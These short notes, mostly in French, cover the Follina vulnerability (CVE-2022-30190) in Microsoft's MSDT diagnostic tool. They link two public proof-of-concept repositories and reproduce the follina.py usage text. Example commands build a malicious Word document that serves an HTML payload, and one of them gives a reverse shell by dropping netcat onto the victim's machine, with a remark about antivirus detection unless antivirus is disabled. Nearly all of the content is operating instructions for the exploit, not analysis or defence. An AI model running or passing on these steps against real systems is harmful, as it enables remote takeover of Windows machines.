
Notes related to CVE-2022-30190
Notes relatives à CVE-2022-30190
FOLLINA : CVE-2022-30190
Utilise l'outil de diagnostic du support Microsoft (MSDT)
Exploite la fenêtre de diagnostic ouverte pour le diagnostic et, lorsqu'il est exécuté correctement, donne un shell inversé à l'attaquant.
Github : (a). https://github.com/JohnHammond/msdt-follina (b). https://github.com/chvancooten/follina.py
Remerciements à : (a). @_johnhammond (b). @networkchuck
Utilisation follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT] options: -h, --help show this help message and exit --command COMMAND, -c COMMAND command to run on the target (default: calc) --output OUTPUT, -o OUTPUT output maldoc file (default: ./follina.doc) --interface INTERFACE, -i INTERFACE network interface or IP address to host the HTTP server (default: eth0) --port PORT, -p PORT port to serve the HTTP server (default: 8000)
Exemples
(a). Lancer calc.exe :
$ python3 follina.py
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./follina.doc
[+] serving html payload on :8000
(b). Lancer notepad.exe :
$ python3 follina.py -c "notepad"
(c). Obtenir un shell inversé sur le port 9001.
Notez que cela télécharge un binaire netcat sur la victime et le place dans C:\Windows\Tasks. Il ne nettoie pas le binaire. Cela déclenchera les détections antivirus sauf si l'antivirus est désactivé.
$ python3 follina.py -r 9001